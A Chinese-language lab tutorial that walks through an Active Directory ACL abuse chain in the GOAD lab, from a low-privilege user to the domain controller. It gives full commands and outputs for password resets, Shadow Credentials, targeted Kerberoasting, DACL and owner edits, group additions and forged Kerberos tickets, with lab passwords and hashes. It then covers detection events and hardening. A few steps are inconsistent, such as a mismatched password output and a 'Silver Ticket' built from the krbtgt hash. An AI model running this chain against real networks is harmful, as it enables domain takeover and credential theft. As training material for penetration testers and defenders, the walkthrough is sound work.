經過今天的深入實戰演練,我們將實作從低權限使用者(tywin.lannister)到域控制器(kingslanding)的完整 ACL 攻擊鏈,並且學習透過 BloodHound 了解攻擊路徑。
ACL 攻擊 ≠ 漏洞利用
ACL 攻擊 = 濫用合法的權限設定
特點:
├── 使用內建的 Windows 功能
├── 不需要特殊的漏洞或 Exploit
├── 攻擊痕跡難以與正常操作區分
└── 防禦重點在於「權限設計」而非「漏洞修補」
完成今天的實戰演練後,你將能夠:
在 Active Directory 中,每個物件(使用者、群組、電腦、OU 等)都有一個安全描述符(Security Descriptor),其中包含:
Security Descriptor
├── Owner(擁有者)
├── Primary Group(主要群組)
├── DACL (Discretionary Access Control List)
│ └── 多個 ACE (Access Control Entry)
│ ├── Trustee(被授權者:使用者/群組)
│ ├── Access Mask(權限:Read, Write, Delete...)
│ └── ACE Type(Allow 或 Deny)
└── SACL (System Access Control List)
└── 用於審計日誌
白話解釋:
ACL = Access Control List = 訪問控制清單
↓
就像一張「權限表」
ACE = Access Control Entry = 訪問控制條目
↓
表中的「一筆記錄」
範例:
物件:CN=Administrator
DACL 包含以下 ACE:
- ACE 1: Domain Admins 群組有 FullControl(完全控制)
- ACE 2: Account Operators 群組有 ResetPassword(重置密碼)
- ACE 3: tywin.lannister 有 GenericWrite(通用寫入)← 攻擊點!
權限名稱 | 英文 | 可執行的攻擊 | 危險程度 |
---|---|---|---|
GenericAll | GENERIC_ALL | 完全控制:修改密碼、Shadow Credentials、WriteDacl | 🔴 極高 |
GenericWrite | GENERIC_WRITE | Shadow Credentials、Target Kerberoasting、修改屬性 | 🔴 極高 |
WriteProperty | WRITE_PROP | 修改特定屬性(如 msDS-KeyCredentialLink) | 🟠 高 |
WriteDacl | WRITE_DACL | 修改 ACL,給自己授予 GenericAll | 🔴 極高 |
WriteOwner | WRITE_OWNER | 成為擁有者,然後修改 ACL | 🔴 極高 |
ForceChangePassword | User-Force-Change-Password | 直接重置使用者密碼 | 🔴 極高 |
權限名稱 | 可執行的攻擊 | 危險程度 |
---|---|---|
AddMember | 將任意使用者加入群組 | 🟠 高 |
AddSelf | 將自己加入群組 | 🟡 中 |
權限名稱 | 說明 | 利用方式 |
---|---|---|
ReadLAPSPassword | 讀取 LAPS 密碼 | 取得本地管理員密碼 |
ReadGMSAPassword | 讀取 gMSA 密碼 | 取得服務帳號密碼 |
WriteAccountRestrictions | 修改帳號限制 | 修改 UAC、SPN 等 |
# 使用 SharpHound (Windows) 收集
# 從 Kali HTTP 伺服器下載 SharpHound.exe
python3 -m http.server 8080
# 在 Windows 上執行(如 KINGSLANDING)
.\SharpHound.exe -c All --zipfilename goad.zip
# 或使用 BloodHound Python (Linux)
bloodhound-python -u arya.stark -p Needle \
-d north.sevenkingdoms.local \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11 \
-c All
# 查詢所有 ACL 關係(排除 Vagrant 和受保護群組)
MATCH p=(u)-[r1]->(n)
WHERE r1.isacl=true
AND NOT toLower(u.name) CONTAINS 'vagrant'
AND u.admincount=false
AND NOT toLower(u.name) CONTAINS 'key'
RETURN p
查詢結果(sevenkingdoms.local 的 ACL 鏈):
tywin.lannister
↓ ForceChangePassword
jaime.lannister
↓ GenericWrite
joffrey.baratheon
↓ WriteDacl
tyron.lannister
↓ AddMember
Small Council (群組)
↓ AddMember
DragonStone (群組)
↓ WriteOwner
kingsguard (群組)
↓ GenericAll
stannis.baratheon
↓ GenericAll
kingslanding$ (DC)
這就是我們今天要走的完整攻擊路徑!
什麼是 AdminSDHolder?
AdminSDHolder 是一個特殊的容器物件,位於:
CN=AdminSDHolder,CN=System,DC=domain,DC=local
作用:
ntds.exe
) 內的 SDProp(Security Descriptor Propagator)背景執行緒 會觸發一次檢查與更新受保護的群組:
群組名稱 | RID | 說明 |
---|---|---|
Account Operators | 548 | 可建立/修改使用者帳號 |
Administrator | 500 | 內建管理員帳號 |
Administrators | 544 | 本地管理員群組 |
Backup Operators | 551 | 備份權限 |
Domain Admins | 512 | 域管理員 |
Domain Controllers | 516 | 域控制器 |
Enterprise Admins | 519 | 企業管理員 |
Krbtgt | 502 | Kerberos 票證帳號 |
Print Operators | 550 | 列印管理 |
Read-only Domain Controllers | 521 | RODC |
Replicator | 552 | 複製權限 |
Schema Admins | 518 | Schema 管理員 |
Server Operators | 549 | 伺服器管理 |
檢查使用者是否受保護:
# 使用 LDAP 查詢
ldapsearch -x -H ldap://192.168.139.10 \
-D "tywin.lannister@sevenkingdoms.local" \
-w 'powerkingftw135' \
-b "DC=sevenkingdoms,DC=local" \
"(sAMAccountName=Administrator)" \
adminCount
# adminCount=1 表示受保護
為什麼這很重要?
攻擊者在 Domain Admins 成員上設定後門 ACL
↓
60 分鐘後
↓
SDProp 執行,覆蓋所有 ACL
↓
後門失效
防禦者也要注意:
adminCount=1
仍會保留現在開始我們的攻擊之旅!從 tywin.lannister
一路打到域控制器 kingslanding$
。
攻擊場景:tywin.lannister 對 jaime.lannister 有 ForceChangePassword 權限。
重要警告:
在真實滲透測試中,絕對不要使用 ForceChangePassword!
原因:
1. 會導致使用者無法登入(舊密碼失效)
2. 可能觸發帳號鎖定
3. 會留下明顯的審計日誌
4. 影響業務運作
替代方案:
- 使用 Shadow Credentials(不改密碼)
- 使用 Target Kerberoasting(需要弱密碼)
- 報告發現,不實際利用
# 使用 net rpc password 修改密碼
net rpc password jaime.lannister \
-U sevenkingdoms.local/tywin.lannister%powerkingftw135 \
-S kingslanding.sevenkingdoms.local
互動過程:
Enter new password for jaime.lannister: newjaimepassword
驗證新密碼:
nxc smb 192.168.139.10 \
-u jaime.lannister \
-d sevenkingdoms.local \
-p 'newjaimepassword'
輸出:
SMB 192.168.139.10 445 KINGSLANDING [+] sevenkingdoms.local\jaime.lannister:pasdebraspasdechocolat
偵測方式:
Event ID 4724 - An attempt was made to reset an account's password
Source Account: tywin.lannister
Target Account: jaime.lannister
這裡改回原來的密碼
net rpc password jaime.lannister \
-U sevenkingdoms.local/tywin.lannister%powerkingftw135 \
-S kingslanding.sevenkingdoms.local
nxc smb 192.168.139.10 \
-u jaime.lannister \
-d sevenkingdoms.local \
-p 'cersei'
攻擊場景:jaime.lannister 對 joffrey.baratheon 有 GenericWrite 權限。
GenericWrite 是最強大的權限之一,可以用於多種攻擊:
GenericWrite 可執行的攻擊
├── Shadow Credentials ← 推薦(Windows Server 2016+)
├── Target Kerberoasting ← 需要弱密碼
└── Logon Script / Profile Path ← 需要使用者登入
pip3 install pywhisker
# 使用 pywhisker 自動執行
pywhisker -d sevenkingdoms.local \
-u jaime.lannister \
-p 'cersei' \
--target joffrey.baratheon \
--action add
輸出:
# 輸出會給你:
# - PFX 檔名:Im5yoG74.pfx
# - PFX 密碼:XrCYuQSTMlRnzEKkR3Bb
[*] Searching for the target account
[*] Target user found: CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0c1f8a0c-5b3f-9509-3058-e83933f71756
[*] Updating the msDS-KeyCredentialLink attribute of joffrey.baratheon
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: Im5yoG74.pfx
[*] Must be used with password: XrCYuQSTMlRnzEKkR3Bb
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
# 步驟 2:使用 certipy 認證(記得加密碼!)
certipy auth -pfx Im5yoG74.pfx \
-password 'XrCYuQSTMlRnzEKkR3Bb' \
-dc-ip 192.168.139.10 \
-domain sevenkingdoms.local \
-username joffrey.baratheon
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'joffrey.baratheon@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'joffrey.baratheon.ccache'
[*] Wrote credential cache to 'joffrey.baratheon.ccache'
[*] Trying to retrieve NT hash for 'joffrey.baratheon'
[*] Got hash for 'joffrey.baratheon@sevenkingdoms.local': aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1
# 步驟 3:使用取得的憑證(使用 NT Hash)
nxc smb 192.168.139.10 -u joffrey.baratheon -H '3b60abbc25770511334b3829866b08f1' -d sevenkingdoms.local
現在我們有:
原理:臨時為目標使用者新增 SPN → 請求 TGS → 破解 TGS → 移除 SPN
# 安裝 targetedKerberoast
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
cd targetedKerberoast
pip3 install -r requirements.txt
cd ~/goad/day19
# 執行攻擊
python3 targetedKerberoast/targetedKerberoast.py \
-d sevenkingdoms.local \
-u jaime.lannister \
-p 'cersei' \
--request-user joffrey.baratheon \
--dc-ip 192.168.139.10
[*] Starting kerberoast attacks
[*] Attacking user (joffrey.baratheon)
[+] Printing hash for (joffrey.baratheon)
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$85f3e0229035988ce6b72e00cade0e8b$ebc445c54b54bf517d3a01af7e80c801e445c6729102e61a6fc6e24e2fd9681a5c1bb1fd79e08b5eb51c30acc33d503081e45d502500ebd787bdb3a2e2ef82de856348f3271f29454204d039b88cf46043756d268159b7b3c5160d131733e41a179db227c90ccccae0b4a021743d5af5d4c2f127c5adbdf75fd1f554514322e82c18e6ca599033f14f353343b59757ba7abcb44495d2e7dee295fc445c2d30f4cb69967339a97b051b8b27fbc25a770d01dca29ef3b33fc3f5ab034ac5696bf0ed6590f742b5dbdb67d45eb30a3ee78e564db01890b27b4de11097c2bebc3730649951fe9db8187b4d2f374c8034c9a9daedb80d8946e127391b7283979c16e84b257a86ac83a2cb4e8c2d18e7b141889c1f464454af275b126cddb0bc8158cd76178d575d6b05357fd2d31a014c9c0702a14690ce91302e1c41a2ea5ff3e3d6de943942a96ab078e706dc9747c83c95584dd6ab79a8a41086b7b9f599597b536780c52a864a04d2d820dd6c8dab965cfd2327988e78b510a0a99ff69361b3d9129419b8b02bb742077a24a0433e1a2147920fecc3cfece1dab2efdef5ce14c670225f58a3e29fee5d21f27392664983ead549eeeeda3dad058ace34e0483b2bc6eb2d403c4306b118b9acd4497d9aa156c763471fc73fef68ffb17cb6a0b2d22e2abf5f99eb60cb9ffa8c15b3c5e8cf3706c37388d6c1641ed713fc5b6e8acd7d6bc6d746ba06457297b5712fc6fd1894eed2ce862862dd045b566f494022559c46928ce396b2a98d6694d39db3734734e2dc93bf6712105c208e2a9bdbc6027ae19662c6bb96b4082d4f7b073170ebf0fc1513511cfd4b017cccd4bee010fbb923c2a005a43c71eb1d122936ee4d8e70cc776af1dd1cd21e9852b29678df877d8036abbea081965a834e026212e31ff4c512eca1ba6ae082bd90b50fd5330a82c0aedc23a49a2091ac40871ac5b67800506bf7ebc3fd39d2301e314113d5159f599d16b9ae1b1e70c80b8ce6066cb6e21beb0ab9b430ef48485a8b9de25afb2be2667c7728396c5277b310c4fa4634835c95c00f24c2245612a557547dcc3c3692616c8ddd3c27b70366a842626f171399963c4d2f844da42e0e0719582de82eb100272d0660ea2e7c99c62c52b713e41803438b9bda2d0c2d8923303aaa0f719126b8d6b865ff78749c5803bb65b418cc03f7e29f66c9597faadef1b2e828f7899b9097062cce88e01f94d616ee6d6871c0be018fc57c42f44fd7595a371e3e11b5d0773bd3deab591e463bcf103d7e19cb180f20a2f1b6b44f8f1f94431310d586f60cf9d4c3dfe81b522e770c510d46bcc372c48d83d82e69dc5ed2297640818f90ec251c815bc67a5ab16e778c77009a1e58bd8edc5508a391b1a796196dca179b7fe6bee6280340a8db9bedf5e2a4a8bb6debabee8de0a3a03f10313cd8a96800586421124daebee77a3e01510c8047bea053a173b529f82dda49f85001b671e53ddfa957e3a735
破解 TGS:
# 儲存 Hash
cat > joffrey.hash << 'EOF'
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$85f3e0229035988ce6b72e00cade0e8b$ebc445c54b54bf517d3a01af7e80c801e445c6729102e61a6fc6e24e2fd9681a5c1bb1fd79e08b5eb51c30acc33d503081e45d502500ebd787bdb3a2e2ef82de856348f3271f29454204d039b88cf46043756d268159b7b3c5160d131733e41a179db227c90ccccae0b4a021743d5af5d4c2f127c5adbdf75fd1f554514322e82c18e6ca599033f14f353343b59757ba7abcb44495d2e7dee295fc445c2d30f4cb69967339a97b051b8b27fbc25a770d01dca29ef3b33fc3f5ab034ac5696bf0ed6590f742b5dbdb67d45eb30a3ee78e564db01890b27b4de11097c2bebc3730649951fe9db8187b4d2f374c8034c9a9daedb80d8946e127391b7283979c16e84b257a86ac83a2cb4e8c2d18e7b141889c1f464454af275b126cddb0bc8158cd76178d575d6b05357fd2d31a014c9c0702a14690ce91302e1c41a2ea5ff3e3d6de943942a96ab078e706dc9747c83c95584dd6ab79a8a41086b7b9f599597b536780c52a864a04d2d820dd6c8dab965cfd2327988e78b510a0a99ff69361b3d9129419b8b02bb742077a24a0433e1a2147920fecc3cfece1dab2efdef5ce14c670225f58a3e29fee5d21f27392664983ead549eeeeda3dad058ace34e0483b2bc6eb2d403c4306b118b9acd4497d9aa156c763471fc73fef68ffb17cb6a0b2d22e2abf5f99eb60cb9ffa8c15b3c5e8cf3706c37388d6c1641ed713fc5b6e8acd7d6bc6d746ba06457297b5712fc6fd1894eed2ce862862dd045b566f494022559c46928ce396b2a98d6694d39db3734734e2dc93bf6712105c208e2a9bdbc6027ae19662c6bb96b4082d4f7b073170ebf0fc1513511cfd4b017cccd4bee010fbb923c2a005a43c71eb1d122936ee4d8e70cc776af1dd1cd21e9852b29678df877d8036abbea081965a834e026212e31ff4c512eca1ba6ae082bd90b50fd5330a82c0aedc23a49a2091ac40871ac5b67800506bf7ebc3fd39d2301e314113d5159f599d16b9ae1b1e70c80b8ce6066cb6e21beb0ab9b430ef48485a8b9de25afb2be2667c7728396c5277b310c4fa4634835c95c00f24c2245612a557547dcc3c3692616c8ddd3c27b70366a842626f171399963c4d2f844da42e0e0719582de82eb100272d0660ea2e7c99c62c52b713e41803438b9bda2d0c2d8923303aaa0f719126b8d6b865ff78749c5803bb65b418cc03f7e29f66c9597faadef1b2e828f7899b9097062cce88e01f94d616ee6d6871c0be018fc57c42f44fd7595a371e3e11b5d0773bd3deab591e463bcf103d7e19cb180f20a2f1b6b44f8f1f94431310d586f60cf9d4c3dfe81b522e770c510d46bcc372c48d83d82e69dc5ed2297640818f90ec251c815bc67a5ab16e778c77009a1e58bd8edc5508a391b1a796196dca179b7fe6bee6280340a8db9bedf5e2a4a8bb6debabee8de0a3a03f10313cd8a96800586421124daebee77a3e01510c8047bea053a173b529f82dda49f85001b671e53ddfa957e3a735
EOF
# 使用 Hashcat 破解
hashcat -m 13100 -a 0 joffrey.hash /usr/share/wordlists/rockyou.txt
成功輸出:
$krb5tgs$23$*joffrey.baratheon$...:1killerlion
Session..........: hashcat
Status...........: Cracked
侷限性:
攻擊場景:joffrey.baratheon 對 tyron.lannister 有 WriteDacl 權限。
WriteDacl 允許我們修改目標的 ACL,給自己授予任意權限(通常是 GenericAll)。
# 首先查看當前權限
impacket-dacledit -action 'read' \
-principal joffrey.baratheon \
-target 'tyron.lannister' \
'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
輸出:
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-3099511005-1426058213-160971164-1118)
[*] ACE[19] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : WriteDACL (0x40000)
[*] Trustee (SID) : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)
授予自己 FullControl:
# 寫入新的 ACE
impacket-dacledit -action 'write' \
-rights 'FullControl' \
-principal joffrey.baratheon \
-target 'tyron.lannister' \
'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
輸出:
[*] DACL modified successfully!
[*] joffrey.baratheon has now FullControl on tyron.lannister
驗證新權限:
# 再次讀取 ACL
impacket-dacledit -action 'read' \
-principal joffrey.baratheon \
-target 'tyron.lannister' \
'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
輸出:
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-3099511005-1426058213-160971164-1118)
[*] ACE[19] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : WriteDACL (0x40000)
[*] Trustee (SID) : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)
[*] ACE[21] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)
certipy shadow auto \
-u joffrey.baratheon@sevenkingdoms.local \
-p '1killerlion' \
-account 'tyron.lannister'
輸出:
[*] Using principal: 'tyron.lannister@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'tyron.lannister.ccache'
[*] Wrote credential cache to 'tyron.lannister.ccache'
[*] Trying to retrieve NT hash for 'tyron.lannister'
[*] Restoring the old Key Credentials for 'tyron.lannister'
[*] Successfully restored the old Key Credentials for 'tyron.lannister'
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998
成功取得 tyron.lannister 的 NT Hash!
攻擊場景:tyron.lannister 可以將自己加入 Small Council 群組。
sudo apt install ldeep -y
# 步驟 1:查詢 tyron 的 Distinguished Name
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
search '(sAMAccountName=tyron.lannister)' distinguishedName
輸出:
distinguishedName: CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
# 步驟 2:查詢 Small Council 的 Distinguished Name
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
search '(sAMAccountName=Small Council)' distinguishedName
輸出:
distinguishedName: CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
# 步驟 3:將 tyron 加入 Small Council
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
add_to_group \
"CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
"CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
輸出:
[*] Successfully added user to group
# 查詢 Small Council 的成員
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
membersof 'Small Council'
輸出:
[*] Members of Small Council:
- petyer.baelish
- lord.varys
- tyron.lannister ← 成功加入!
攻擊場景:Small Council 群組對 DragonStone 群組有 AddMember 權限。
現在 tyron 是 Small Council 的成員,繼承了該群組的權限。
# 將 tyron 加入 DragonStone 群組
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
add_to_group \
"CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
"CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
輸出:
[*] Successfully added user to group
驗證:
# 檢查 tyron 的群組成員資格
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
search '(sAMAccountName=tyron.lannister)' memberOf
輸出:
memberOf:
CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local ← 成功!
攻擊場景:DragonStone 群組對 kingsguard 群組有 WriteOwner 權限。
WriteOwner 允許我們變更物件的擁有者。一旦成為擁有者,就可以修改該物件的 ACL。
# 步驟 1:查看當前擁有者
impacket-owneredit -action read \
-target 'kingsguard' \
-hashes ':b3b3717f7d51b37fb325f7e7d048e998' \
sevenkingdoms.local/tyron.lannister
輸出:
[*] Current Owner: CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
# 步驟 2:將擁有者改為 tyron.lannister
impacket-owneredit -action write \
-new-owner 'tyron.lannister' \
-target 'kingsguard' \
-hashes ':b3b3717f7d51b37fb325f7e7d048e998' \
sevenkingdoms.local/tyron.lannister
輸出:
[*] Owner modified successfully!
[*] New Owner: CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
# 步驟 3:給自己授予 FullControl
impacket-dacledit -action 'write' \
-rights 'FullControl' \
-principal tyron.lannister \
-target 'kingsguard' \
'sevenkingdoms.local'/'tyron.lannister' \
-hashes ':b3b3717f7d51b37fb325f7e7d048e998'
輸出:
[*] DACL modified successfully!
[*] tyron.lannister has now FullControl on kingsguard
# 步驟 4:將 tyron 加入 kingsguard
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
add_to_group \
"CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
"CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister \
-H ':b3b3717f7d51b37fb325f7e7d048e998' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
search '(sAMAccountName=tyron.lannister)' memberOf
成功!tyron 現在是 kingsguard 的成員!
攻擊場景:kingsguard 群組對 stannis.baratheon 有 GenericAll 權限。
GenericAll 是最高權限,可以執行任何操作。最簡單的方式是修改密碼。
# 使用 net rpc password 修改密碼
net rpc password stannis.baratheon \
--pw-nt-hash \
-U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 \
-S kingslanding.sevenkingdoms.local
互動過程:
Enter new password for stannis.baratheon: newstannisP@ssword
驗證:
nxc smb 192.168.139.10 \
-u stannis.baratheon \
-d sevenkingdoms.local \
-p 'newstannisP@ssword'
輸出:
SMB 192.168.139.10 445 KINGSLANDING [+] sevenkingdoms.local\stannis.baratheon:newstannisP@ssword
攻擊場景:stannis.baratheon 對域控制器 kingslanding$ 有 GenericAll 權限。
這是攻擊鏈的最後一步!對 DC 的 GenericAll 有多種利用方式:
GenericAll on DC
├── RBCD (Resource-Based Constrained Delegation) ← Day 18 學過
├── Shadow Credentials ← 推薦(如果有 ADCS)
└── DCSync ← 如果直接有 Replication 權限
# 對域控制器執行 Shadow Credentials
certipy shadow auto \
-u stannis.baratheon@sevenkingdoms.local \
-p 'newstannisP@ssword' \
-account 'kingslanding$'
輸出:
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: SEVENKINGDOMS.LOCAL.
[!] Use -debug to print a stacktrace
[*] Targeting user 'KINGSLANDING$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '72ecbb0b547540fb9207e3b30db5e22a'
[*] Adding Key Credential with device ID '72ecbb0b547540fb9207e3b30db5e22a' to the Key Credentials for 'KINGSLANDING$'
[*] Successfully added Key Credential with device ID '72ecbb0b547540fb9207e3b30db5e22a' to the Key Credentials for 'KINGSLANDING$'
[*] Authenticating as 'KINGSLANDING$' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'kingslanding$@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'kingslanding.ccache'
[*] Wrote credential cache to 'kingslanding.ccache'
[*] Trying to retrieve NT hash for 'kingslanding$'
[*] Restoring the old Key Credentials for 'KINGSLANDING$'
[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'
[*] NT hash for 'KINGSLANDING$': 9ed9670d33c248ff3333dc0ccbff9032
成功!我們現在有 DC 的機器帳號憑證!
┌──(impacket)─(kali㉿kali)-[~]
└─$ cat /etc/krb5.conf
[libdefaults]
default_realm = SEVENKINGDOMS.LOCAL
dns_lookup_kdc = true
dns_lookup_realm = false
[realms]
SEVENKINGDOMS.LOCAL = {
kdc = kingslanding.sevenkingdoms.local
admin_server = kingslanding.sevenkingdoms.local
}
NORTH.SEVENKINGDOMS.LOCAL = {
kdc = winterfell.north.sevenkingdoms.local
admin_server = winterfell.north.sevenkingdoms.local
}
[domain_realm]
.sevenkingdoms.local = SEVENKINGDOMS.LOCAL
sevenkingdoms.local = SEVENKINGDOMS.LOCAL
.north.sevenkingdoms.local = NORTH.SEVENKINGDOMS.LOCAL
north.sevenkingdoms.local = NORTH.SEVENKINGDOMS.LOCAL
現在我們有 DC 的機器帳號(kingslanding$),有兩種方法提升到 Administrator:
方法 A:S4U2Self Abuse
# 設定 TGT
export KRB5CCNAME=kingslanding.ccache
# 使用 S4U2Self 請求 Administrator 的服務票證
impacket-getST -self \
-impersonate "Administrator" \
-altservice "cifs/kingslanding.sevenkingdoms.local" \
-k -no-pass \
-dc-ip 192.168.139.10 \
"sevenkingdoms.local"/'kingslanding$'
輸出:
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from kingslanding$@SEVENKINGDOMS.LOCAL to cifs/kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
使用票證連接:
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
impacket-smbclient -k -no-pass \
-dc-ip 192.168.139.10 \
sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
方法 B:Silver Ticket
# 步驟 1:查詢域 SID
impacket-lookupsid \
-hashes ':9ed9670d33c248ff3333dc0ccbff9032' \
'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
輸出:
[*] Domain SID is: S-1-5-21-3099511005-1426058213-160971164
#krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
# 步驟 2:建立 Silver Ticket
impacket-ticketer \
-nthash '3bd92e98b99b5f66fc4d771a18e003bb' \
-domain-sid 'S-1-5-21-3099511005-1426058213-160971164' \
-domain sevenkingdoms.local \
-dc-ip 192.168.139.10 \
-user-id 500 \ Administrator
輸出:
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
# 步驟 3:使用 Silver Ticket
export KRB5CCNAME=/home/kali/Administrator.ccache
evil-winrm -i kingslanding.sevenkingdoms.local -r SEVENKINGDOMS.LOCAL
成功!完全控制域控制器!
impacket-secretsdump -hashes :9ed9670d33c248ff3333dc0ccbff9032 \
'sevenkingdoms.local/kingslanding$@192.168.139.10'
evil-winrm -i 192.168.139.10 \
-u administrator \
-H c66d72021a2d4744409969a581a1705e
🎉 完整的 ACL 攻擊鏈成功!從 tywin.lannister 到完全控制域控制器!
ACL 攻擊的三大特點
├── 隱蔽性極高 → 不需要特殊工具,使用合法 LDAP 操作
├── 審計困難 → 大型環境中每天有數萬次 ACL 變更
└── 影響範圍廣 → 可能影響整個域的安全性
真實世界的 ACL 問題統計:
事件 ID | 事件名稱 | 偵測目標 | 嚴重程度 |
---|---|---|---|
4662 | An operation was performed on an object | ACL 讀取/修改操作 | 🟠 中 |
4670 | Permissions on an object were changed | WriteDacl 攻擊 | 🔴 極高 |
4780 | The ACL was set on accounts which are members of administrators groups | AdminSDHolder 覆蓋 | 🔴 極高 |
5136 | A directory service object was modified | 屬性修改(如 msDS-KeyCredentialLink) | 🟠 高 |
4724 | An attempt was made to reset an account's password | ForceChangePassword | 🔴 極高 |
4728 | A member was added to a security-enabled global group | AddMember 攻擊 | 🟠 高 |
偵測 WriteDacl 攻擊:
# PowerShell 查詢(在 DC 上執行)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4670
} | Where-Object {
$_.Message -match "WriteDacl|WriteOwner|GenericAll"
} | Format-List TimeCreated, Message
偵測 Shadow Credentials 攻擊:
# 監控 msDS-KeyCredentialLink 屬性修改
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=5136
} | Where-Object {
$_.Message -match "msDS-KeyCredentialLink"
} | Format-List TimeCreated, Message
偵測群組成員異常變更:
# 監控特權群組的成員變更
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4728,4732,4756
} | Where-Object {
$_.Message -match "Domain Admins|Enterprise Admins|Schema Admins"
} | Format-List TimeCreated, Message
Splunk 查詢範例:
index=windows EventCode=4670 OR EventCode=5136 OR EventCode=4724
| stats count by user dest object_name access_mask
| where count > 5
| sort -count
Elastic SIEM 規則:
{
"query": "event.code:(4670 OR 5136 OR 4724) AND winlog.event_data.ObjectName:*",
"threshold": {
"field": "user.name",
"value": 3
}
}
黃金準則:最小權限原則(Principle of Least Privilege)
❌ 錯誤做法
├── 將 IT 支援人員加入 Domain Admins
├── 授予 "Everyone" 群組 GenericWrite 權限
├── 使用萬用字元授予權限(如 OU=*)
└── 長期保留「臨時」權限
✅ 正確做法
├── 使用委派模型(Delegation Model)
├── 實施即時權限(Just-In-Time Access)
├── 定期審查並移除不必要的權限
└── 使用群組政策而非直接 ACL 授權
確保 AdminSDHolder 機制正常運作:
# 檢查 SDProp 最後執行時間
